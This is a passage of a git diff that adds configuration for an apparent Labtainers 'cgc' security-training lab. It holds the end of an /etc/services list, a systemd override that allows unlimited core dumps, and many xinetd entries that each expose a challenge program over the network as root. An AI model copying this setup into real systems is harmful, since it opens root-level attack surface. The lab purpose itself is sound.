+gsidcap 22128/tcp # GSI dCache Access Protocol +wnn6 22273/tcp # wnn6 +wnn6 22273/udp + +# +# Datagram Delivery Protocol services +# +rtmp 1/ddp # Routing Table Maintenance Protocol +nbp 2/ddp # Name Binding Protocol +echo 4/ddp # AppleTalk Echo Protocol +zip 6/ddp # Zone Information Protocol + +#========================================================================= +# The remaining port numbers are not as allocated by IANA. +#========================================================================= + +# Kerberos (Project Athena/MIT) services +# Note that these are for Kerberos v4, and are unofficial. Sites running +# v4 should uncomment these and comment out the v5 entries above. +# +kerberos4 750/udp kerberos-iv kdc # Kerberos (server) +kerberos4 750/tcp kerberos-iv kdc +kerberos-master 751/udp kerberos_master # Kerberos authentication +kerberos-master 751/tcp +passwd-server 752/udp passwd_server # Kerberos passwd server +krb-prop 754/tcp krb_prop krb5_prop hprop # Kerberos slave propagation +krbupdate 760/tcp kreg # Kerberos registration +swat 901/tcp # swat +kpop 1109/tcp # Pop with Kerberos +knetd 2053/tcp # Kerberos de-multiplexor +zephyr-srv 2102/udp # Zephyr server +zephyr-clt 2103/udp # Zephyr serv-hm connection +zephyr-hm 2104/udp # Zephyr hostmanager +eklogin 2105/tcp # Kerberos encrypted rlogin +# Hmmm. Are we using Kv4 or Kv5 now? Worrying. +# The following is probably Kerberos v5 --- ajt@debian.org (11/02/2000) +kx 2111/tcp # X over Kerberos +iprop 2121/tcp # incremental propagation +# +# Unofficial but necessary (for NetBSD) services +# +supfilesrv 871/tcp # SUP server +supfiledbg 1127/tcp # SUP debugging + +# +# Services added for the Debian GNU/Linux distribution +# +linuxconf 98/tcp # LinuxConf +poppassd 106/tcp # Eudora +poppassd 106/udp +moira-db 775/tcp moira_db # Moira database +moira-update 777/tcp moira_update # Moira update protocol +moira-ureg 779/udp moira_ureg # Moira user registration +spamd 783/tcp # spamassassin daemon +omirr 808/tcp omirrd # online mirror +omirr 808/udp omirrd +customs 1001/tcp # pmake customs server +customs 1001/udp +skkserv 1178/tcp # skk jisho server port +predict 1210/udp # predict -- satellite tracking +rmtcfg 1236/tcp # Gracilis Packeten remote config server +wipld 1300/tcp # Wipl network monitor +xtel 1313/tcp # french minitel +xtelw 1314/tcp # french minitel +support 1529/tcp # GNATS +cfinger 2003/tcp # GNU Finger +frox 2121/tcp # frox: caching ftp proxy +ninstall 2150/tcp # ninstall service +ninstall 2150/udp +zebrasrv 2600/tcp # zebra service +zebra 2601/tcp # zebra vty +ripd 2602/tcp # ripd vty (zebra) +ripngd 2603/tcp # ripngd vty (zebra) +ospfd 2604/tcp # ospfd vty (zebra) +bgpd 2605/tcp # bgpd vty (zebra) +ospf6d 2606/tcp # ospf6d vty (zebra) +ospfapi 2607/tcp # OSPF-API +isisd 2608/tcp # ISISd vty (zebra) +afbackup 2988/tcp # Afbackup system +afbackup 2988/udp +afmbackup 2989/tcp # Afmbackup system +afmbackup 2989/udp +xtell 4224/tcp # xtell server +fax 4557/tcp # FAX transmission service (old) +hylafax 4559/tcp # HylaFAX client-server protocol (new) +distmp3 4600/tcp # distmp3host daemon +munin 4949/tcp lrrd # Munin +enbd-cstatd 5051/tcp # ENBD client statd +enbd-sstatd 5052/tcp # ENBD server statd +pcrd 5151/tcp # PCR-1000 Daemon +noclog 5354/tcp # noclogd with TCP (nocol) +noclog 5354/udp # noclogd with UDP (nocol) +hostmon 5355/tcp # hostmon uses TCP (nocol) +hostmon 5355/udp # hostmon uses UDP (nocol) +rplay 5555/udp # RPlay audio service +nrpe 5666/tcp # Nagios Remote Plugin Executor +nsca 5667/tcp # Nagios Agent - NSCA +mrtd 5674/tcp # MRT Routing Daemon +bgpsim 5675/tcp # MRT Routing Simulator +canna 5680/tcp # cannaserver +syslog-tls 6514/tcp # Syslog over TLS [RFC5425] +sane-port 6566/tcp sane saned # SANE network scanner daemon +ircd 6667/tcp # Internet Relay Chat +zope-ftp 8021/tcp # zope management by ftp +tproxy 8081/tcp # Transparent Proxy +omniorb 8088/tcp # OmniORB +omniorb 8088/udp +clc-build-daemon 8990/tcp # Common lisp build daemon +xinetd 9098/tcp +mandelspawn 9359/udp mandelbrot # network mandelbrot +git 9418/tcp # Git Version Control System +zope 9673/tcp # zope server +webmin 10000/tcp +kamanda 10081/tcp # amanda backup services (Kerberos) +kamanda 10081/udp +amandaidx 10082/tcp # amanda backup services +amidxtape 10083/tcp # amanda backup services +smsqp 11201/tcp # Alamin SMS gateway +smsqp 11201/udp +xpilot 15345/tcp # XPilot Contact Port +xpilot 15345/udp +sgi-cmsd 17001/udp # Cluster membership services daemon +sgi-crsd 17002/udp +sgi-gcd 17003/udp # SGI Group membership daemon +sgi-cad 17004/tcp # Cluster Admin daemon +isdnlog 20011/tcp # isdn logging system +isdnlog 20011/udp +vboxd 20012/tcp # voice box system +vboxd 20012/udp +binkp 24554/tcp # binkp fidonet protocol +asp 27374/tcp # Address Search Protocol +asp 27374/udp +csync2 30865/tcp # cluster synchronization tool diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/systemd/system/xinetd.service.d/core.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/systemd/system/xinetd.service.d/core.conf new file mode 100644 index 000000000..45189bd89 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/systemd/system/xinetd.service.d/core.conf @@ -0,0 +1,3 @@ +[Service] +LimitCORE=infinity + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.conf new file mode 100644 index 000000000..ff6af0cdd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info +log_on_failure = HOST +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/3d_image_toolkit b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/3d_image_toolkit new file mode 100644 index 000000000..0f04754b0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/3d_image_toolkit @@ -0,0 +1,11 @@ +service 3d_image_toolkit +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/3D_Image_Toolkit + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/accel b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/accel new file mode 100644 index 000000000..02fc30267 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/accel @@ -0,0 +1,11 @@ +service accel +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Accel + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ais-lite b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ais-lite new file mode 100644 index 000000000..e9008f83d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ais-lite @@ -0,0 +1,11 @@ +service ais-lite +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/AIS-Lite + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/anagram_game b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/anagram_game new file mode 100644 index 000000000..7b59b9f38 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/anagram_game @@ -0,0 +1,11 @@ +service anagram_game +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/anagram_game + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ascii_content_server b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ascii_content_server new file mode 100644 index 000000000..b01c2c19c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ascii_content_server @@ -0,0 +1,11 @@ +service ascii_content_server +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/ASCII_Content_Server + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/asl6parse b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/asl6parse new file mode 100644 index 000000000..449af3958 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/asl6parse @@ -0,0 +1,11 @@ +service asl6parse +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/ASL6parse + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/audio_visualizer b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/audio_visualizer new file mode 100644 index 000000000..38bef6ef2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/audio_visualizer @@ -0,0 +1,11 @@ +service audio_visualizer +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Audio_Visualizer + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/azurad b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/azurad new file mode 100644 index 000000000..0eba400d2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/azurad @@ -0,0 +1,11 @@ +service azurad +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Azurad + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/barcoder b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/barcoder new file mode 100644 index 000000000..8bc092d97 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/barcoder @@ -0,0 +1,11 @@ +service barcoder +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Barcoder + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/basic_emulator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/basic_emulator new file mode 100644 index 000000000..68edd2d40 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/basic_emulator @@ -0,0 +1,11 @@ +service basic_emulator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/basic_emulator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/basic_messaging b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/basic_messaging new file mode 100644 index 000000000..7f66ddc89 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/basic_messaging @@ -0,0 +1,11 @@ +service basic_messaging +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/basic_messaging + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/bitblaster b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/bitblaster new file mode 100644 index 000000000..d8e392e5b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/bitblaster @@ -0,0 +1,11 @@ +service bitblaster +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/BitBlaster + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/bloomy_sunday b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/bloomy_sunday new file mode 100644 index 000000000..03e9d099c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/bloomy_sunday @@ -0,0 +1,11 @@ +service bloomy_sunday +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Bloomy_Sunday + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/board_game b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/board_game new file mode 100644 index 000000000..647b15bfa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/board_game @@ -0,0 +1,11 @@ +service board_game +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Board_Game + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/budgit b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/budgit new file mode 100644 index 000000000..8965f0172 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/budgit @@ -0,0 +1,11 @@ +service budgit +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/BudgIT + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cablegrind b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cablegrind new file mode 100644 index 000000000..8397fca9c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cablegrind @@ -0,0 +1,11 @@ +service cablegrind +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CableGrind + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cablegrindllama b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cablegrindllama new file mode 100644 index 000000000..d54b59571 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cablegrindllama @@ -0,0 +1,11 @@ +service cablegrindllama +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CableGrindLlama + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/carbonate b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/carbonate new file mode 100644 index 000000000..d6d7c925a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/carbonate @@ -0,0 +1,11 @@ +service carbonate +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Carbonate + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/casino_games b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/casino_games new file mode 100644 index 000000000..cdf03a36c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/casino_games @@ -0,0 +1,11 @@ +service casino_games +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Casino_Games + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cereal_mixup__a_cereal_vending_machine_controller b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cereal_mixup__a_cereal_vending_machine_controller new file mode 100644 index 000000000..158c51ce2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cereal_mixup__a_cereal_vending_machine_controller @@ -0,0 +1,11 @@ +service cereal_mixup__a_cereal_vending_machine_controller +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Cereal_Mixup__A_Cereal_Vending_Machine_Controller + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_board b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_board new file mode 100644 index 000000000..f41998aa4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_board @@ -0,0 +1,11 @@ +service cgc_board +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CGC_Board + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_file_system b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_file_system new file mode 100644 index 000000000..8fb9eb94f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_file_system @@ -0,0 +1,11 @@ +service cgc_file_system +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CGC_File_System + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_hangman_game b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_hangman_game new file mode 100644 index 000000000..2c9330568 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_hangman_game @@ -0,0 +1,11 @@ +service cgc_hangman_game +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CGC_Hangman_Game + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_image_parser b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_image_parser new file mode 100644 index 000000000..4236899e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_image_parser @@ -0,0 +1,11 @@ +service cgc_image_parser +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CGC_Image_Parser + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_planet_markup_language_parser b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_planet_markup_language_parser new file mode 100644 index 000000000..2fae96e1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_planet_markup_language_parser @@ -0,0 +1,11 @@ +service cgc_planet_markup_language_parser +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CGC_Planet_Markup_Language_Parser + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_symbol_viewer_csv b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_symbol_viewer_csv new file mode 100644 index 000000000..c9ea7772c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_symbol_viewer_csv @@ -0,0 +1,11 @@ +service cgc_symbol_viewer_csv +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CGC_Symbol_Viewer_CSV + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_video_format_parser_and_viewer b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_video_format_parser_and_viewer new file mode 100644 index 000000000..bdcc50696 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cgc_video_format_parser_and_viewer @@ -0,0 +1,11 @@ +service cgc_video_format_parser_and_viewer +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CGC_Video_Format_Parser_and_Viewer + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/character_statistics b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/character_statistics new file mode 100644 index 000000000..60c985311 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/character_statistics @@ -0,0 +1,11 @@ +service character_statistics +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Character_Statistics + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/charter b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/charter new file mode 100644 index 000000000..69536570b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/charter @@ -0,0 +1,11 @@ +service charter +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Charter + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/checkmate b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/checkmate new file mode 100644 index 000000000..e0d51aa5c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/checkmate @@ -0,0 +1,11 @@ +service checkmate +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Checkmate + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/chess_mimic b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/chess_mimic new file mode 100644 index 000000000..d126ed463 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/chess_mimic @@ -0,0 +1,11 @@ +service chess_mimic +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/chess_mimic + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/childs_game b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/childs_game new file mode 100644 index 000000000..35cac9a34 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/childs_game @@ -0,0 +1,11 @@ +service childs_game +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Childs_Game + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cloudcompute b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cloudcompute new file mode 100644 index 000000000..4c93607eb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cloudcompute @@ -0,0 +1,11 @@ +service cloudcompute +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CLOUDCOMPUTE + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cml b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cml new file mode 100644 index 000000000..5b253ef1e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cml @@ -0,0 +1,11 @@ +service cml +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CML + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cnmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cnmp new file mode 100644 index 000000000..a67b09d5e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cnmp @@ -0,0 +1,11 @@ +service cnmp +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/CNMP + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/collideoscope b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/collideoscope new file mode 100644 index 000000000..d658f4e54 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/collideoscope @@ -0,0 +1,11 @@ +service collideoscope +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/COLLIDEOSCOPE + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/corinth b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/corinth new file mode 100644 index 000000000..28860c737 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/corinth @@ -0,0 +1,11 @@ +service corinth +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Corinth + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cotton_swab_arithmetic b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cotton_swab_arithmetic new file mode 100644 index 000000000..0cf728c54 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cotton_swab_arithmetic @@ -0,0 +1,11 @@ +service cotton_swab_arithmetic +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/cotton_swab_arithmetic + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cromulence_all_service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/cromulence_all_service new file mode 100644 index 000000000..c79622d23 --- /dev/null +++ 